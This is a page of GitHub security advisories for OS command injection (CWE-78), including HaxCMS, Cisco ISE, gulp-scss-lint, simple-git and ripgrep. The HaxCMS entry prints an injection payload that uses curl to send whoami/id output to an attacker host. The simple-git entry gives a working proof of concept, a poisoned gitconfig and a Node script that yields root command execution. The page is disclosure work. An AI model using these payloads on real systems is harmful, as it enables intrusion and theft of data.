CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9622 vulnerabilities reference this CWE, most recent first.
GHSA-G4CF-PP4X-HQGW
Vulnerability from github – Published: 2025-06-09 20:30 – Updated: 2025-06-20 17:24Summary
The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.
Details
The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
Affected Resources
• Operations.php:2103 gitImportSite() • \<domain>/\<user>/system/api/gitImportSite
PoC
To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').
-
Start a webserver.
-
Initiate a request to the ’archiveSite’ endpoint.
-
Capture and modify the request in BurpSuite.
-
Observe command output in the HTTP request from the server.
Command Injection Payload
http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef
Impact
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49141"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T20:30:34Z",
"nvd_published_at": "2025-06-09T21:15:47Z",
"severity": "HIGH"
},
"details": "### Summary\nThe \u0027gitImportSite\u0027 functionality obtains a URL string from a POST request and insufficiently validates user input. The \u2019set_remote\u2019 function later passes this input into \u2019proc_open\u2019, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the \u2019gitImportSite\u2019 function, located in \u2019Operations.php\u2019. The current implementation only relies on the \u2019filter_var\u2019 and \u0027strpos\u0027 functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n\n\n#### Affected Resources\n\u2022 Operations.php:2103 gitImportSite()\n\u2022 \\\u003cdomain\\\u003e/\\\u003cuser\\\u003e/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the \u0027gitImportSite\u0027 endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as \u0027archiveSite\u0027).\n\n1. Start a webserver.\n\n\n2. Initiate a request to the \u2019archiveSite\u2019 endpoint.\n\n\n3. Capture and modify the request in BurpSuite.\n\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n\n\n\n#### Command Injection Payload\n```Bash\nhttp://\u003cIP\u003e/.git;curl${IFS}\u003cIP\u003e/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the \u2019filter_var\u2019 and \u2019strpos\u2019 functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.",
"id": "GHSA-g4cf-pp4x-hqgw",
"modified": "2025-06-20T17:24:48Z",
"published": "2025-06-09T20:30:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49141"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/haxcms-nodejs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HaxCMS-PHP Command Injection Vulnerability"
}
GHSA-G4CQ-G5QH-X7HQ
Vulnerability from github – Published: 2021-12-24 00:00 – Updated: 2022-01-06 00:01mySCADA myPRO: Versions 8.20.0 and prior has a vulnerable debug interface which includes a ping utility, which may allow an attacker to inject arbitrary operating system commands.
{
"affected": [],
"aliases": [
"CVE-2021-44453"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-23T20:15:00Z",
"severity": "CRITICAL"
},
"details": "mySCADA myPRO: Versions 8.20.0 and prior has a vulnerable debug interface which includes a ping utility, which may allow an attacker to inject arbitrary operating system commands.",
"id": "GHSA-g4cq-g5qh-x7hq",
"modified": "2022-01-06T00:01:15Z",
"published": "2021-12-24T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44453"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-355-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G4F6-M2VQ-P28H
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in specific CLI commands for the Cisco Identity Services Engine (ISE) could allow an authenticated, local attacker to perform command injection to the underlying operating system or cause a hang or disconnect of the user session. The attacker needs valid administrator credentials for the device. The vulnerability is due to incomplete input validation of user input for certain CLI ISE configuration commands. An attacker could exploit this vulnerability by authenticating as an administrative user, issuing a specific CLI command, and entering crafted, malicious user input for the command parameters. An exploit could allow the attacker to perform command injection to the lower-level Linux operating system. It is also possible the attacker could cause the ISE user interface for this management session to hang or disconnect. Cisco Bug IDs: CSCvg95479.
{
"affected": [],
"aliases": [
"CVE-2018-0221"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-08T07:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in specific CLI commands for the Cisco Identity Services Engine (ISE) could allow an authenticated, local attacker to perform command injection to the underlying operating system or cause a hang or disconnect of the user session. The attacker needs valid administrator credentials for the device. The vulnerability is due to incomplete input validation of user input for certain CLI ISE configuration commands. An attacker could exploit this vulnerability by authenticating as an administrative user, issuing a specific CLI command, and entering crafted, malicious user input for the command parameters. An exploit could allow the attacker to perform command injection to the lower-level Linux operating system. It is also possible the attacker could cause the ISE user interface for this management session to hang or disconnect. Cisco Bug IDs: CSCvg95479.",
"id": "GHSA-g4f6-m2vq-p28h",
"modified": "2022-05-13T01:35:34Z",
"published": "2022-05-13T01:35:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0221"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180307-ise6"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103347"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040471"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G4HJ-R7R3-9RWV
Vulnerability from github – Published: 2021-05-07 16:15 – Updated: 2021-07-28 20:50gulp-scss-lint through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands to the "exec" function located in "src/command.js" via the provided options.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "gulp-scss-lint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7601"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-03T21:58:01Z",
"nvd_published_at": "2020-03-15T22:15:00Z",
"severity": "CRITICAL"
},
"details": "gulp-scss-lint through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands to the \u0026quot;exec\u0026quot; function located in \u0026quot;src/command.js\u0026quot; via the provided options.",
"id": "GHSA-g4hj-r7r3-9rwv",
"modified": "2021-07-28T20:50:13Z",
"published": "2021-05-07T16:15:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7601"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-GULPSCSSLINT-560114"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in gulp-scss-lint"
}
GHSA-G4WM-2VF7-VFGR
Vulnerability from github – Published: 2026-10-05 23:48 – Updated: 2026-10-05 23:48Summary
An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
Details
Two sinks share the same root cause: the denylist is incomplete.
Sink A: published 3.36.0 has no include.path entry
packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
Sink B: pending PR #1167 regex misses includeIf
PR #1167 adds:
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
preventConfigBuilder constructs a non-anchored regex from the string:
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* throw */ }
};
}
For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
Exploitation chain
- Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared
/tmpin multi-tenant runners, log poisoning that lands[core]headers in a log path, predictable artifact paths, container volume mounts the attacker controls.
[core]
sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
-
Attacker triggers
git.clone()with craftedcustomArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model ofblockUnsafeOperationsPlugin. -
cloneTaskassembles['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]. -
blockUnsafeOperationsPluginrunsparseArgvandcollectWriteFlags, yielding the write.detectVulnerableConfigWritesiterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not matchincludeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation. -
suffixPathsPluginmoves pathspec items to the suffix. Final argv:git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst. -
git clonehas its own-c/--configoption (-c <key>=<value>, --config <key>=<value>pergit clone --help), so a-cimmediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an emptygitdir:pattern that matches the current gitdir), reads/tmp/attacker.cfg, registerscore.sshCommand. -
Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.
git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.
Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist
packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
PoC
Reproduction from a clean install:
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install simple-git@3.36.0
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path works on published 3.36.0 (no denylist entry).
// Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* clone fails after sshCommand has already run */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
Output on simple-git 3.36.0:
uid=0(root) gid=0(root) groups=0(root)
Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.
Impact
Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:
- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
- PaaS and hosting platforms that accept customer-tunable git options
- Code analyzers and security scanners that clone user-supplied repos
- Bot frameworks (Probot, GitOps controllers) that wrap simple-git
- AI agent frameworks that auto-clone repositories for analysis
- VS Code extensions, Electron tools, and dev tooling that pass options through
The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.
Distinction from prior advisories and pending fix
Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive
protocol.allowform
Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.
The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.
Suggested fix
In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),
Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.
Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.
Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.36.0"
},
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102826"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:48:05Z",
"nvd_published_at": "2026-09-29T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAn OS command injection vulnerability in `git.clone()` allows any application that flows attacker-influenced data into `customArgs` to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any `include.path` entry in the `blockUnsafeOperationsPlugin` denylist. Passing `-c include.path=\u003cfile\u003e` via customArgs loads any local file as a gitconfig. The loaded file can set `core.sshCommand` (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker\u0027s command.\n\nPR #1167 (merged to main 2026-05-10, not yet released to npm) adds `preventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027)` to the denylist. The generated regex `/\\s*include.path/` closes the plain spelling but does not match the conditional form `includeIf.\u003ccond\u003e.path`. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.\n\nThis sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). `include` and `includeIf` are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.\n\n## Details\n\nTwo sinks share the same root cause: the denylist is incomplete.\n\n### Sink A: published 3.36.0 has no `include.path` entry\n\n`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` in the v3.36.0 tag contains no entry for `include.path` or `includeIf.*.path`. The argv parser recognises `-c include.path=\u003cfile\u003e` and `-c includeIf.\u003ccond\u003e.path=\u003cfile\u003e` as config writes, but `detectVulnerableConfigWrites` iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.\n\n### Sink B: pending PR #1167 regex misses `includeIf`\n\nPR #1167 adds:\n\n```ts\nconst preventUnsafeConfig = [\n // ...\n preventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027),\n // ...\n];\n```\n\n`preventConfigBuilder` constructs a non-anchored regex from the string:\n\n```ts\nfunction preventConfigBuilder(config, category, message) {\n const regex = typeof config === \u0027string\u0027\n ? new RegExp(`\\\\s*${config.toLowerCase()}`)\n : config;\n return function preventCommand(key) {\n if (regex.test(key)) { /* throw */ }\n };\n}\n```\n\nFor `\u0027include.path\u0027`, the generated regex is `/\\s*include.path/`. The `.` between `include` and `path` is a regex wildcard. The engine matches `include` plus exactly one arbitrary character plus `path`. Conditional include keys have the form `includeIf.\u003ccondition\u003e.path` (`includeIf.gitdir:.path`, `includeIf.onbranch:main.path`, `includeIf.hasconfig:r.u:**.path`, etc.). The substring between `include` and `path` is `if.\u003ccondition\u003e:`, always longer than one character. The 11-character match window cannot align and the test returns false.\n\n```js\n/\\s*include.path/.test(\u0027include.path\u0027) // true\n/\\s*include.path/.test(\u0027includeif.gitdir:.path\u0027) // false\n/\\s*include.path/.test(\u0027includeif.onbranch:main.path\u0027) // false\n```\n\nThe argv parser at `packages/argv-parser/src/argv/analyse-config.ts` correctly recognises both `include.path=...` and `includeIf.gitdir:.path=...` as config writes; both yield a `ConfigWrite` with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).\n\n### Exploitation chain\n\n1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared `/tmp` in multi-tenant runners, log poisoning that lands `[core]` headers in a log path, predictable artifact paths, container volume mounts the attacker controls.\n\n ```\n [core]\n sshCommand = \"/bin/sh -c \u0027id \u003e /tmp/pwned; touch /tmp/RCE\u0027\"\n ```\n\n2. Attacker triggers `git.clone()` with crafted `customArgs`. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of `blockUnsafeOperationsPlugin`.\n\n3. `cloneTask` assembles `[\u0027clone\u0027, \u0027-c\u0027, \u0027\u003cpayload\u003e\u0027, pathspec(url), pathspec(dst)]`.\n\n4. `blockUnsafeOperationsPlugin` runs `parseArgv` and `collectWriteFlags`, yielding the write. `detectVulnerableConfigWrites` iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match `includeif.gitdir:.path`. Either way, no vulnerability is yielded and the plugin permits the operation.\n\n5. `suffixPathsPlugin` moves pathspec items to the suffix. Final argv: `git clone -c \u003cpayload\u003e -- ssh://target.example/repo.git /tmp/dst`.\n\n6. `git clone` has its own `-c` / `--config` option (`-c \u003ckey\u003e=\u003cvalue\u003e, --config \u003ckey\u003e=\u003cvalue\u003e` per `git clone --help`), so a `-c` immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty `gitdir:` pattern that matches the current gitdir), reads `/tmp/attacker.cfg`, registers `core.sshCommand`.\n\n7. Git invokes ssh through the configured command. Attacker\u0027s shell payload runs in the simple-git process\u0027s context.\n\n`git clone` is the unique git subcommand that honours `-c` after itself. `git fetch -c k=v`, `git pull -c k=v`, `git push -c k=v` all reject the placement (those subcommands treat `-c` as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled `-c` in `customArgs` always lands after the subcommand. Clone is the entry point for both sinks.\n\n### Secondary chain: `HOME` and `XDG_CONFIG_HOME` not in `parseEnv` denylist\n\n`packages/argv-parser/src/env/parse-env.ts:5-25` lists env keys removed from the spawned-process environment when sourced from `git.env(...)`. `HOME`, `XDG_CONFIG_HOME`, and similar config-resolution keys are absent. Calling `git.env({HOME: \u0027/tmp/fake-home\u0027})` makes git read `/tmp/fake-home/.gitconfig`, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.\n\n## PoC\n\nReproduction from a clean install:\n\n```bash\nmkdir /tmp/sg-poc \u0026\u0026 cd /tmp/sg-poc\nnpm init -y\nnpm install simple-git@3.36.0\ncat \u003e poc.js \u003c\u003c\u0027EOF\u0027\nconst { simpleGit } = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nfs.writeFileSync(\u0027/tmp/sg-attacker.cfg\u0027,\n `[core]\\nsshCommand = \"/bin/sh -c \u0027id \u003e /tmp/sg-id; touch /tmp/sg-pwned\u0027\"\\n`);\n\nconst git = simpleGit({ baseDir: \u0027/tmp\u0027 });\n\n(async () =\u003e {\n // Sink A: plain include.path works on published 3.36.0 (no denylist entry).\n // Swap to \u0027includeIf.gitdir:.path=...\u0027 to demonstrate Sink B against PR #1167.\n const payload = \u0027include.path=/tmp/sg-attacker.cfg\u0027;\n\n try {\n await git.clone(\n \u0027ssh://nonexistent.example.com/repo.git\u0027,\n \u0027/tmp/sg-rce-dst\u0027,\n [\u0027-c\u0027, payload]\n );\n } catch (_) { /* clone fails after sshCommand has already run */ }\n\n await new Promise(r =\u003e setTimeout(r, 500));\n console.log(fs.readFileSync(\u0027/tmp/sg-id\u0027, \u0027utf8\u0027));\n})();\nEOF\nnode poc.js\n```\n\nOutput on simple-git 3.36.0:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nSwapping the payload to `\u0027includeIf.gitdir:.path=/tmp/sg-attacker.cfg\u0027` reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.\n\n## Impact\n\nPre-authentication remote code execution in any server that flows attacker-influenced data into `customArgs` of `clone()` or `mirror()`. simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:\n\n- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers\n- PaaS and hosting platforms that accept customer-tunable git options\n- Code analyzers and security scanners that clone user-supplied repos\n- Bot frameworks (Probot, GitOps controllers) that wrap simple-git\n- AI agent frameworks that auto-clone repositories for analysis\n- VS Code extensions, Electron tools, and dev tooling that pass options through\n\nThe chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared `/tmp`, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`. The form value uses the conservative `AC:H = 8.1` baseline that accounts for the separate-request case.\n\n## Distinction from prior advisories and pending fix\n\nReviewed the published GHSA list at `steveukx/git-js/security/advisories`. Two advisories are published:\n\n- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor\n- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive `protocol.allow` form\n\nNeither mentions `include`, `includeIf`, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference `include.path`. It addresses the plain form but its regex misses the conditional `includeIf.\u003ccond\u003e.path` spelling.\n\nThe published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.\n\n## Suggested fix\n\nIn `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`, add the plain `include.path` entry and ensure conditional forms are covered:\n\n```ts\npreventConfigBuilder(\u0027include.path\u0027, \u0027allowUnsafeInclude\u0027),\npreventConfigBuilder(/^\\s*includeif[^.]*(\\..+)*\\.path/i, \u0027allowUnsafeInclude\u0027, \u0027include.path\u0027),\n```\n\nAlternatively pre-process the key in `parseAssignment` to strip the `if.\u003ccondition\u003e:` decoration before testing against `include.path`, since `includeIf` is semantically equivalent to `include` for security purposes.\n\nStronger, longer-term fix: invert the model. Reject any `-c`, `--config`, `--config-env` in `customArgs` unconditionally and require callers to use the typed `config:` option (already prefix-checked through the same plugin). Git\u0027s config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.\n\nAlso extend `parseEnv` to drop `HOME`, `XDG_CONFIG_HOME`, and any env key that affects config-file resolution.",
"id": "GHSA-g4wm-2vf7-vfgr",
"modified": "2026-10-05T23:48:05Z",
"published": "2026-10-05T23:48:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-g4wm-2vf7-vfgr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102826"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/pull/1193"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/98864c678444d9336357c844efa4fd5a7984c0d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/releases/tag/simple-git@4.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "simple-git allows command execution through unblocked Git configuration includes"
}
GHSA-G4XG-FXMG-VCG5
Vulnerability from github – Published: 2021-08-05 19:31 – Updated: 2021-09-07 21:16ripgrep before 13 on Windows allows attackers to trigger execution of arbitrary programs from the current working directory via the -z/--search-zip or --pre flag.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ripgrep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "grep-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3013"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-14T19:32:57Z",
"nvd_published_at": "2021-06-11T12:15:00Z",
"severity": "CRITICAL"
},
"details": "ripgrep before 13 on Windows allows attackers to trigger execution of arbitrary programs from the current working directory via the -z/--search-zip or --pre flag.",
"id": "GHSA-g4xg-fxmg-vcg5",
"modified": "2021-09-07T21:16:08Z",
"published": "2021-08-05T19:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3013"
},
{
"type": "WEB",
"url": "https://github.com/BurntSushi/ripgrep/issues/1773"
},
{
"type": "PACKAGE",
"url": "https://github.com/BurntSushi/ripgrep"
},
{
"type": "WEB",
"url": "https://github.com/BurntSushi/ripgrep/blob/e48a17e1891e1ea9dd06ba0e48d5fb140ca7c0c4/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/BurntSushi/ripgrep/blob/master/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/BurntSushi/ripgrep/blob/master/CHANGELOG.md#1300-2021-06-12"
},
{
"type": "WEB",
